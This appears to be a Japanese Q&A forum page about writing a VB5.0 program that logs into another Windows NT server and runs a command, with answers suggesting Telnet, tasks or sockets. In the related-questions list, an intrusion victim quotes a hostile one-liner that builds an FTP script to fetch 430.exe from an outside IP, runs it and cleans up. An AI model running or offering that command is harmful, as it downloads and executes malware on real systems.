• 締切済み

サーバへのログインなど

VBで作成したexeを、あるサーバ(サーバA)で実行し、別なサーバ(サーバB)にログイン後、コマンドを実行して終了する。といった物を作成したいのですが、参考となる記事ありませんか? やりたい事の流れは、 サーバAでexeを実行-->サーバBにログインし、コマンドを実行-->終了。 環境 VB5.0 サーバは、WinNTサーバ

みんなの回答

  • todo36
  • ベストアンサー率58% (728/1234)
回答No.3

サーバー側にタスクを登録しておいて、クライアントアプリで そのタスクをキックするという手が思い付いた。 VBでどうやるのかは知らないが telenetに関しては過去ログ参照。

全文を見る
すると、全ての回答が全文表示されます。
  • 2ch
  • ベストアンサー率51% (64/125)
回答No.2

サーバ側にも待機するアプリを仕込んでよいなら、ソケット通信でやりとりするという手もあり。

参考URL:
http://oshiete1.goo.ne.jp/kotaeru.php3?q=155606
nosiyuho
質問者

補足

サーバでの待機アプリは仕込みたくないのですが。

全文を見る
すると、全ての回答が全文表示されます。
  • todo36
  • ベストアンサー率58% (728/1234)
回答No.1

どんな方法があるか知りたいと言うこと? Webアプリ Webサービス Windowsサービス DCOM ターミナルサービス Telenet が思い付きます。 私だったらVS.NETでWebサービスかな。

nosiyuho
質問者

補足

サーバにログインするコーディング(VB5.0)が知りたいのですが。 知りたい事は、Telnetが近いかと思います。ただし、ユーザID等は、特定のIDで行いたいです。 ※質問時に書いていた事が、間違っていましたので、書き直します。 利用方法としては、Webを利用せず、ユーザがexeを実行すると、NTサーバにログインし、サーバ上のあるコマンドを実行する。(結果は返る必要なし)

全文を見る
すると、全ての回答が全文表示されます。

関連するQ&A

  • サーバー自動ログインソフトを作りたい

    バッチもしくはVBスクリプトでサーバーに自動ログインする ソフトを作ろうとしているのですが、うまくいきません。 具体的な環境は以下のとおりです。 サーバー    IP:10.10.2.1   ログイン名:login   パスワード:pass 現在、コマンドプロンプトから手動で  C:\>telnet 10.10.2.1 でログインし、ログイン名とパスワードを聞いてくるので、手動で ログイン名:login パスワード:pass と入力しているのですが、この作業を自動化したいです。 バッチファイルでtelnetコマンドを実行し、その後VBスクリプトを起動し、ログイン名とパスワードを送ろうと思ったのですが、 telnetコマンドはサーバーと接続しただけでは次のコマンドに命令権を渡さないようで、VBスクリプトが起動しないです。 バッチとVBスクリプト以外でもいいので、上記の一連の作業を自動化する方法がわかるという方、ご教授願います。

  • サーバとVBの連携

    VB6.0について質問です。 これまでローカル環境だけのテストでは問題なく実行できていたのですが サーバに置いてあるDBを参照・更新しようとしたときにサーバ側のパスワードが 影響してエラーが発生してしまいます。 一旦VBを終了して端末からサーバにログインした後再びVBからサーバへ接続すると エラー無く実行されます。 このエラーを解消するにはどうしたらよいでしょうか。。。 参照・更新するたびにいちいちサーバに手入力ログインするのはシステム的にも問題があります。 お知恵をお貸しください。。。

  • サーバーが知らない人にログインされています。教えてください。

    家族で共有している、ファイルサーバーのようなものが我が家にはあります。 住んでいるところが違うため、ダイナミックDNSで、ネットに公開しているのですが、最近「ファイル名を指定して実行」からプログラムを実行しようとした時に、うちの家族では理解できない実行履歴が残っていました。 「cmd.exe /c del i&echo open 218.219.21.173 20002 > i&echo user 1 1 >> i &echo get 430.exe >> i &echo quit >> i &ftp -n -s:i &430.exe&del i&exit」 上記コマンドですが、たぶん、接続したかどうかログに書き込んだり、FTPコマンドを自分のローカルのファイルから実行しているのかと思われます。 何分、素人なのでよくわかりません、この解釈であっていますでしょうか? ちなみにこのサーバは現在、ネットから切り離しています。 あと、OSはXP HE ですが、ログインした人間をログなどから発見することはできるのでしょうか。 よろしくお願いします。

  • VBで作成した実行形式の戻り値を作成したい

    VBで作成した実行形式の戻り値を作成したいと考えています. たとえば,A.exeという実行形式をVBで作成します. このA.exeを別のプロジェクトでshell関数などで起動します. 処理が終了した時に, A.exeの処理が成功した場合に1 A.exeの処理が失敗した場合には0を返すようにしたいと考えています. 可能でしょうか? 環境:Windows2000+SP3 Visual Basic 6.0+SP5

  • EXEの起動について

    プログラムの連続起動をバッチファイルで作成しています。 本体(A.EXE)を連続起動させるべくfor文でテキストファイルを読み込み引数を与えながら起動して、ということをしたいのですが、A.EXEは自動で終了するもののワケあって終了した状態を取得できません。 そこで監視(B.EXE)を実行してA.EXEの終了を待つプログラムを用意しました。 for文の中でA.EXE起動→5秒待ち→B.EXE起動(バッチは待ち状態)→A.EXE終了→B.EXE終了(バッチ待ち解除)→2回目のA.EXE起動…という流れを想定していますが、B.EXEが待ち状態にならずA.EXEが実行されてしまいます。 バッチの中身をコマンドプロンプトで実行するとB.EXEは待ち状態となるのですがバッチ実行すると待ち状態になりません。 なにが原因かわからず質問いたしました。 ご助力いただけると助かります。 以下はバッチ内容です(for文は除きます)。 ----------------- start C:\work\A.EXE timeout 5 start /w C:\work\B.EXE ----------------- よろしくお願いします。

  • ファイルサーバへのログイン

    ファイルサーバはCENTOSです。クライアント端末はWinXP。 同じクライアント端末で2名が利用しています。クライアント端末には WinXPのユーザアカウントも2つあります。(アカウントA、アカウントB)とします。 ファイルサーバへのアカウントも2つあります。(アカウントAA、アカウントBBとします) クライアント端末のコンピュータ名は「ABC」とします。 元々はアカウントAの方のみが利用していました。 ファイルサーバへログインするときには、アカウントAAを利用していました。 とある日、クライアント端末にアカウントBを作成し、アカウントBBを利用して ファイルサーバへログインを試みましたが、ログインできません。 どうやらファイルサーバへログインするときのID部分に デフォルトでコンピュータ名(ABC)が入っているのが原因のようですが…。 IDの欄に「ABC\」のようなものがデフォルトで入っているようです。 何方か対処方法を教えていただけないでしょうか。。。

  • ログインユーザーの追加について

     SQL Serverで、データベース"GRSdb"を作成しました。 Management Studioにてログインユーザーを追加しようと思い、新規ログインを作成しようとしましたが、下記のようなエラーメッセージが表示されました。  ログイン"uzuracch"の作成に失敗しました(MicroSoft.SqlServer.Smo) 追加情報  Transact-SQLステートメントまたはバッチの実行中に例外が発生しました。 (MicroSoft.SqlServer.ConnectionInfo)  ユーザーにはこの操作を実行する権限がありません(MicroSoft SQL Server,エラー:15247) .このエラーに対する対処が分かりません。よろしくお願いします。 開発環境は、Windows7,VB2010PRO,SQLServer2008R2Expressです。

  • シェルスクリプト内で他のサーバへSSH接続

    急にシェルスクリプトを組む事になり、勉強を始めて2週間です。 下記について、調べても分からなかった為、教えてください。 どのようなコマンドを使用すればよいのかや、参考になるサイトがありましたら教えてください。 【概要】 シェルスクリプト内で、SSH接続で他サーバへ接続し他サーバ内で別のシェルスクリプトを実行する。その際にroot権限が必要となる。 【環境】 作業PC:Windows サーバA:Linux サーバB:Linux 【スクリプト】 スクリプト1  格納場所:サーバA  処理  :スクリプト1、2を実行 スクリプト2  格納場所:サーバA  処理  :サーバA内でディレクトリ作成等の作業をしてOK/NGを返却 スクリプト3  格納場所:サーバB  処理  :サーバB内でディレクトリ作成等の作業をしてOK/NGを返却 【やりたい事】 1.作業PCからサーバAへSSH接続 2.サーバAでroot権限へスイッチし、スクリプト1を実行 3.スクリプト1は、スクリプト2を実行 4.スクリプト2はディレクトリ作成等の処理を行い、OK/NGを表示 5.スクリプト1は、サーバBへSSH接続 6.スクリプト1は、サーバBでルート権限へスイッチし、スクリプト3を実行 7.スクリプト3はディレクトリ作成等の処理を行い、OK/NGを表示 8.スクリプト1はサーバBからログアウト

  • バッチファイル内の各コマンドが順番に実行される条件

    Windows環境にてDOSコマンドでバッチファイルを作成して実行します。 バッチファイル内には複数のコマンドを記述しており、上から順番に 処理されて処理が完了してから次のコマンドを実行することを期待しています。 例) ping PC_NAME_A    ping PC_NAME_B 実際に実行してみて1つ目のコマンドが終了してから、2つ目の コマンドが実行されているのは確認できているのですが、 この「1つ目のコマンドが終了してから次のコマンドを実行する」という 仕様を裏付ける記事などが見つけられません。(Microsoftのサイトなど) どなたかご存知の方がいらっしゃいましたら教えてください。

  • ActiveX → VB を起動するとCreateObjectできない。

    初めまして。 2003Server+IIS6.0の環境でASP内のActiveXからShell関数でvbのexeを実行させる処理を作成しております。 サーバーから直接exeを実行させると正常に動くのですが、Web上からasp→ActiveX→exeを起動させるとテキストに書き込む処理はできるのですが、「CreateObject」文で「ActiveX コンポーネントはオブジェクトを作成できません」というエラーが返ります。 VB内でなぜ「CreateObject」が出来ないのかご存知の方はいますでしょうか。 宜しくお願いいたします。